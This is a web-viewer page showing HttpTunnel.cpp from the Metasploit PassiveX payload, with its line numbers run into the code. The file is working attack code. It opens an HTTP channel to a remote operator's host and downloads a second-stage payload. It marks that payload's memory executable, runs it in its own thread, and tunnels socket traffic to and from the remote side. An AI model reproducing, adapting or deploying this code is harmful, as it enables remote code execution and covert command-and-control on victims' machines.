Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/passivex/HttpTunnel.cpp
Views: 11766
/*1* This file is part of the Metasploit Exploit Framework2* and is subject to the same licenses and copyrights as3* the rest of this package.4*/5#include "PassiveXLib.h"6#include "HttpTunnel.h"78// The number of failed HTTP connections9static DWORD FailedConnections = 0;1011HttpTunnel::HttpTunnel()12: HttpHost(NULL),13HttpUriBase(NULL),14HttpSid(NULL),15HttpPort(0),16LocalTcpListener(0),17LocalTcpClientSide(0),18LocalTcpServerSide(0),19InternetHandle(NULL),20SendThread(NULL),21ReceiveThread(NULL),22SecondStageThread(NULL),23SecondStage(NULL),24SecondStageSize(0)25{26// Initialize winsock, not that we should need to.27WSAStartup(28MAKEWORD(2, 2),29&WsaData);3031srand((unsigned int)time(NULL));32}3334HttpTunnel::~HttpTunnel()35{36Stop();3738// Cleanup winsock39WSACleanup();40}4142/*43* Initiates the HTTP tunnel and gets the ball rolling44*/45DWORD HttpTunnel::Start(46IN LPSTR InHttpHost,47IN LPSTR InHttpUriBase,48IN LPSTR InHttpSid,49IN USHORT InHttpPort)50{51DWORD ThreadId;52DWORD Result = ERROR_SUCCESS;5354do55{56// Initialize the hostname and port57if (!(HttpHost = _strdup(InHttpHost)))58{59Result = ERROR_NOT_ENOUGH_MEMORY;60break;61}6263if ((InHttpSid) &&64(InHttpSid[0]) &&65(!(HttpSid = _strdup(InHttpSid))))66{67Result = ERROR_NOT_ENOUGH_MEMORY;68break;69}7071if ((InHttpUriBase) &&72(InHttpUriBase[0]) &&73(!(HttpUriBase = _strdup(InHttpUriBase))))74{75Result = ERROR_NOT_ENOUGH_MEMORY;76break;77}7879// Eliminate any trailing slashes as to prevent potential problems. If80// HttpUriBase is just "/", then it'll become virtuall unused.81if ((HttpUriBase) &&82(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))83HttpUriBase[strlen(HttpUriBase) - 1] = 0;8485HttpPort = InHttpPort;8687// Acquire the internet context handle88if (!(InternetHandle = InternetOpen(89NULL,90INTERNET_OPEN_TYPE_PRECONFIG,91NULL,92NULL,930)))94{95Result = GetLastError();96break;97}9899// Create the local TCP abstraction100if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)101{102CPassiveX::Log(103TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),104Result);105break;106}107108// Download the second stage if there is one109DownloadSecondStage();110111// Create the transmission thread112if (!(SendThread = CreateThread(113NULL,1140,115(LPTHREAD_START_ROUTINE)SendThreadFuncSt,116this,1170,118&ThreadId)))119{120Result = GetLastError();121break;122}123124// Create the receive thread125if (!(ReceiveThread = CreateThread(126NULL,1270,128(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,129this,1300,131&ThreadId)))132{133Result = GetLastError();134break;135}136137// Woop138Result = ERROR_SUCCESS;139140} while (0);141142return Result;143}144145/*146* Stops the HTTP tunnel and cleans up resources147*/148DWORD HttpTunnel::Stop()149{150DWORD Result = ERROR_SUCCESS;151DWORD Index = 0;152LPHANDLE Threads[] =153{154&SecondStageThread,155&ReceiveThread,156&SendThread,157NULL158};159160// Terminate the threads that were spawned161for (Index = 0;162Threads[Index];163Index++)164{165LPHANDLE Thread = Threads[Index];166167if (*Thread)168{169TerminateThread(170*Thread,1710);172173CloseHandle(174*Thread);175176*Thread = NULL;177}178}179180// Close all of the open sockets we may have181if (LocalTcpListener)182closesocket(183LocalTcpListener);184if (LocalTcpClientSide)185closesocket(186LocalTcpClientSide);187if (LocalTcpServerSide)188closesocket(189LocalTcpServerSide);190191LocalTcpListener = 0;192LocalTcpClientSide = 0;193LocalTcpServerSide = 0;194195// Free up memory associated with the second stage196if (SecondStage)197{198free(199SecondStage);200201SecondStage = NULL;202SecondStageSize = 0;203}204205// Close the global internet handle acquired from InternetOpen206if (InternetHandle)207{208InternetCloseHandle(209InternetHandle);210211InternetHandle = NULL;212}213214return Result;215}216217/*********************218* Protected Methods *219*********************/220221/*222* Creates the local TCP abstraction that will be used as the socket for the223* second stage that is read in224*/225typedef SOCKET (WINAPI * WSASOCKETA)( int, int, int, LPVOID, DWORD, DWORD );226227DWORD HttpTunnel::InitializeLocalConnection()228{229struct sockaddr_in Sin;230USHORT LocalPort = 0;231DWORD Attempts = 0;232DWORD Result = ERROR_SUCCESS;233HMODULE hWinsock = NULL;234WSASOCKETA pWSASocketA = NULL;235WSADATA wsaData;236237hWinsock = LoadLibraryA( "WS2_32.DLL" );238if( hWinsock == NULL )239{240CPassiveX::Log( TEXT("DownloadSecondStage(): LoadLibraryA for WS2_32.DLL failed.\n") );241return !ERROR_SUCCESS;242}243244pWSASocketA = (WSASOCKETA)GetProcAddress( hWinsock, "WSASocketA");245if( pWSASocketA == NULL )246{247CPassiveX::Log( TEXT("DownloadSecondStage(): GetProcAddress for WSASocketA failed.\n") );248return !ERROR_SUCCESS;249}250251if( WSAStartup( MAKEWORD(2,2), &wsaData ) != 0 )252{253CPassiveX::Log( TEXT("DownloadSecondStage(): WSAStartup failed.\n") );254return !ERROR_SUCCESS;255}256257do258{259// Create the TCP listener socket260//LocalTcpListener = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );261LocalTcpListener = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );262if( LocalTcpListener == INVALID_SOCKET )263{264LocalTcpListener = 0;265Result = WSAGetLastError();266break;267}268269// Create the TCP client socket270LocalTcpClientSide = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );271if( LocalTcpClientSide == INVALID_SOCKET )272{273LocalTcpClientSide = 0;274Result = WSAGetLastError();275break;276}277278Sin.sin_family = AF_INET;279Sin.sin_addr.s_addr = inet_addr("127.0.0.1");280281// Try 256 times to pick a random port282Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);283284while( ( bind( LocalTcpListener, (struct sockaddr *)&Sin, sizeof(Sin) ) == SOCKET_ERROR ) && (Attempts++ < 256) )285{286Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);287}288289// If we failed to create the local listener, bomb out290if (Attempts >= 256)291{292Result = WSAGetLastError();293break;294}295296// Listen and stuff297if (listen( LocalTcpListener, 1) == SOCKET_ERROR)298{299Result = WSAGetLastError();300break;301}302303// Establish a connection to the local listener304if (connect( LocalTcpClientSide, (struct sockaddr *)&Sin, sizeof(Sin)) == SOCKET_ERROR)305{306Result = WSAGetLastError();307break;308}309310// Accept the local TCP connection311if ((LocalTcpServerSide = accept( LocalTcpListener, NULL, NULL)) == SOCKET_ERROR)312{313LocalTcpServerSide = 0;314Result = WSAGetLastError();315break;316}317318// Woop!319Result = ERROR_SUCCESS;320321} while (0);322323return Result;324}325326/*327* Downloads the second stage payload from the remote HTTP host and executes it328* in its own thread if there is one329*/330VOID HttpTunnel::DownloadSecondStage()331{332DWORD dwOldProtect = 0;333334// Transmit the request to download the second stage. The stage buffer that335// is passed back is never deallocated.336if ((TransmitHttpRequest(337TEXT("GET"),338PASSIVEX_URI_SECOND_STAGE,339NULL,3400,34130000,342NULL,343(PVOID *)&SecondStage,344&SecondStageSize) == ERROR_SUCCESS) &&345(SecondStageSize))346{347DWORD ThreadId = 0;348349CPassiveX::Log( TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"), SecondStageSize);350351if( !VirtualProtect( (LPVOID)SecondStage, SecondStageSize, PAGE_EXECUTE_READWRITE, &dwOldProtect ) )352{353CPassiveX::Log(354TEXT("DownloadSecondStage(): Failed to VirtualProtect second stage (0x%08X) to be RWX. Error %lu."),355SecondStageSize, GetLastError() );356}357358// Create the second stage thread359SecondStageThread = CreateThread(360NULL,3610,362(LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,363this,3640,365&ThreadId);366}367else368{369CPassiveX::Log(370TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),371GetLastError());372373ExitProcess(0);374375}376}377378/*379* Transmits the supplied data to the remote HTTP host380*/381DWORD HttpTunnel::TransmitToRemote(382IN PUCHAR Buffer,383IN ULONG BufferSize)384{385CPassiveX::Log(386TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),387BufferSize);388389return TransmitHttpRequest(390"POST",391PASSIVEX_URI_TUNNEL_IN,392Buffer,393BufferSize);394}395396/*397* Transmits the supplied data to the server side of the local TCP abstraction398*/399DWORD HttpTunnel::TransmitToLocal(400IN PUCHAR Buffer,401IN ULONG BufferSize)402{403DWORD Result = ERROR_SUCCESS;404INT BytesWritten = 0;405406// Keep writing until everything has been written407while (BufferSize > 0)408{409CPassiveX::Log(410TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),411BufferSize);412413if ((BytesWritten = send(414LocalTcpServerSide,415(const char *)Buffer,416BufferSize,4170)) == SOCKET_ERROR)418{419Result = WSAGetLastError();420break;421}422423Buffer += BytesWritten;424BufferSize -= BytesWritten;425}426427return Result;428}429430/*431* Transmits an HTTP request to the target host, optionally waiting for a432* response433*/434DWORD HttpTunnel::TransmitHttpRequest(435IN LPTSTR Method,436IN LPTSTR Uri,437IN PVOID RequestPayload,438IN ULONG RequestPayloadLength,439IN ULONG WaitResponseTimeout,440OUT LPDWORD ResponseCode,441OUT PVOID *ResponsePayload,442OUT LPDWORD ResponsePayloadLength)443{444HINTERNET RequestHandle = NULL;445HINTERNET ConnectHandle = NULL;446PUCHAR OutBuffer = NULL;447DWORD OutBufferLength = 0;448UCHAR ReadBuffer[8192];449DWORD ReadBufferLength;450DWORD Result = ERROR_SUCCESS;451PCHAR AdditionalHeaders = NULL;452CHAR FullUri[1024];453454// Construct the full URI455if (HttpUriBase && HttpUriBase[0])456sprintf_s(FullUri, sizeof(FullUri) - 1, "%s%s", HttpUriBase, Uri);457else458strncpy_s(FullUri, 1024, Uri, sizeof(FullUri) - 1);459460FullUri[sizeof(FullUri) - 1] = 0;461462do463{464PROFILE_CHECKPOINT("InternetConnect ==>");465466// Open a connection handle467if (!(ConnectHandle = InternetConnect(468InternetHandle,469HttpHost,470HttpPort,471NULL,472NULL,473INTERNET_SERVICE_HTTP,4740,475NULL)))476{477Result = GetLastError();478break;479}480481PROFILE_CHECKPOINT("InternetConnect <==");482483// If we were supplied a wait response timeout, set it484if (WaitResponseTimeout)485InternetSetOption(486ConnectHandle,487INTERNET_OPTION_RECEIVE_TIMEOUT,488&WaitResponseTimeout,489sizeof(WaitResponseTimeout));490491PROFILE_CHECKPOINT("HttpOpenRequest ==>");492493// Open a request handle494if (!(RequestHandle = HttpOpenRequest(495ConnectHandle,496Method ? Method : TEXT("GET"),497FullUri,498NULL,499NULL,500NULL,501INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |502INTERNET_FLAG_RELOAD,503NULL)))504{505Result = GetLastError();506break;507}508509// If we were assigned an HTTP session identifier, then allocate an510// additional header for transmission to the remote side.511if (HttpSid)512{513size_t size = strlen(HttpSid) + 32;514// Yeah, I'm lame, this is easy to sig. Improve me if you care!515if(( AdditionalHeaders = (PCHAR)malloc(size) ))516sprintf_s( AdditionalHeaders, size, "X-Sid: sid=%s\r\n", HttpSid );517}518519PROFILE_CHECKPOINT("HttpOpenRequest <==");520PROFILE_CHECKPOINT("HttpSendRequest ==>");521522// Send and endthe request523if ((!HttpSendRequest(524RequestHandle,525AdditionalHeaders,526(AdditionalHeaders) ? -1L : 0,527RequestPayload,528RequestPayloadLength)))529{530Result = GetLastError();531break;532}533534PROFILE_CHECKPOINT("HttpSendRequest <==");535536// If we wont be waiting for a response, break out now and return537if (!WaitResponseTimeout)538{539Result = ERROR_SUCCESS;540break;541}542543// Keep looping until we've read the entire request or an error is544// encountered545while (1)546{547PUCHAR NewBuffer;548549ReadBufferLength = sizeof(ReadBuffer);550551PROFILE_CHECKPOINT("InternetReadFile ==>");552553if (!InternetReadFile(554RequestHandle,555ReadBuffer,556ReadBufferLength,557&ReadBufferLength))558{559Result = GetLastError();560break;561}562else if (!ReadBufferLength)563{564Result = ERROR_SUCCESS;565break;566}567568PROFILE_CHECKPOINT("InternetReadFile <==");569570// Append the buffer to the output buffer571if (!OutBuffer)572NewBuffer = (PUCHAR)malloc(573ReadBufferLength);574else575NewBuffer = (PUCHAR)realloc(576OutBuffer,577OutBufferLength + ReadBufferLength);578579if (!NewBuffer)580{581Result = ERROR_NOT_ENOUGH_MEMORY;582break;583}584585memcpy(586NewBuffer + OutBufferLength,587ReadBuffer,588ReadBufferLength);589590OutBuffer = NewBuffer;591OutBufferLength += ReadBufferLength;592}593594// Query the status code of the response595if (ResponseCode)596{597DWORD ResponseCodeSize = sizeof(DWORD);598599if (!HttpQueryInfo(600RequestHandle,601HTTP_QUERY_STATUS_CODE,602ResponseCode,603&ResponseCodeSize,604NULL))605{606CPassiveX::Log(607TEXT("HttpQueryInfo failed, %lu."),608GetLastError());609610*ResponseCode = 0;611}612}613614} while (0);615616PROFILE_CHECKPOINT("Finished TransmitHttpRequest");617618// Close handles619if (RequestHandle)620InternetCloseHandle(621RequestHandle);622if (ConnectHandle)623InternetCloseHandle(624ConnectHandle);625if (AdditionalHeaders)626free(AdditionalHeaders);627628// Set the output pointers or free up the output buffer629if (Result == ERROR_SUCCESS)630{631if (ResponsePayload)632*ResponsePayload = OutBuffer;633if (ResponsePayloadLength)634*ResponsePayloadLength = OutBufferLength;635636FailedConnections = 0;637}638else639{640// If we fail to connect...641if (Result == ERROR_INTERNET_CANNOT_CONNECT)642{643FailedConnections++;644645if (FailedConnections > 10)646{647CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",648FailedConnections);649650ExitProcess(0);651}652}653654if (OutBuffer)655free(656OutBuffer);657}658659return Result;660}661662/*663* Method wrapper664*/665ULONG HttpTunnel::SendThreadFuncSt(666IN HttpTunnel *Tunnel)667{668return Tunnel->SendThreadFunc();669}670671/*672* Monitors the server side of the local TCP abstraction for data that can be673* transmitted to the remote half of the pipe674*/675ULONG HttpTunnel::SendThreadFunc()676{677fd_set FdSet;678UCHAR ReadBuffer[16384];679LONG BytesRead;680INT Result;681682// This is the song that never ends...683while (1)684{685FD_ZERO(686&FdSet);687FD_SET(688LocalTcpServerSide,689&FdSet);690691PROFILE_CHECKPOINT("select ==>");692693// Wait for some data...694Result = select(695LocalTcpServerSide + 1,696&FdSet,697NULL,698NULL,699NULL);700701PROFILE_CHECKPOINT("select <==");702703// If select failed or there was no new data, act accordingly else risk704// the fist of the evil witch705if (Result < 0)706{707CPassiveX::Log(708TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),709WSAGetLastError());710break;711}712else if (Result == 0)713continue;714715PROFILE_CHECKPOINT("recv ==>");716717// Read in data from the local server side of the TCP connection718BytesRead = recv(719LocalTcpServerSide,720(char *)ReadBuffer,721sizeof(ReadBuffer),7220);723724PROFILE_CHECKPOINT("recv <==");725726// On error or end of file...727if (BytesRead <= 0)728{729CPassiveX::Log(730TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),731BytesRead);732break;733}734735CPassiveX::Log(736TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),737BytesRead);738739PROFILE_CHECKPOINT("TransmitToRemote ==>");740741// Transmit the data to the remote side742if ((Result = TransmitToRemote(743ReadBuffer,744BytesRead)) != ERROR_SUCCESS)745{746CPassiveX::Log(747TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),748Result);749}750751PROFILE_CHECKPOINT("TransmitToRemote <==");752}753754// Exit the process if the send thread ends755ExitProcess(0);756757return 0;758}759760/*761* Method wrapper762*/763ULONG HttpTunnel::ReceiveThreadFuncSt(764IN HttpTunnel *Tunnel)765{766return Tunnel->ReceiveThreadFunc();767}768769/*770* Polls for data that should be sent to the local server side of the TCP771* abstraction772*/773ULONG HttpTunnel::ReceiveThreadFunc()774{775PUCHAR ReadBuffer = NULL;776DWORD ReadBufferLength = 0;777DWORD ResponseCode = 0;778779while (1)780{781ReadBufferLength = 0;782ReadBuffer = NULL;783ResponseCode = 0;784785if ((TransmitHttpRequest(786TEXT("GET"),787PASSIVEX_URI_TUNNEL_OUT,788NULL,7890,79030000,791&ResponseCode,792(PVOID *)&ReadBuffer,793&ReadBufferLength) == ERROR_SUCCESS) &&794(ReadBuffer))795{796CPassiveX::Log(797TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),798ResponseCode,799ReadBufferLength);800801TransmitToLocal(802ReadBuffer,803ReadBufferLength);804805free(806ReadBuffer);807}808else809{810CPassiveX::Log(811TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),812GetLastError());813}814}815816return 0;817}818819/*820* Calls the second stage after initializing the proper registers821*/822ULONG HttpTunnel::SecondStageThreadFuncSt(823IN HttpTunnel *Tunnel)824{825SOCKET Fd = Tunnel->LocalTcpClientSide;826827// Initialize edi to the file descriptor that the second stage might use828__asm829{830lea eax, [Fd]831mov edi, [eax]832}833834((VOID (*)())Tunnel->SecondStage)();835836return 0;837}838839840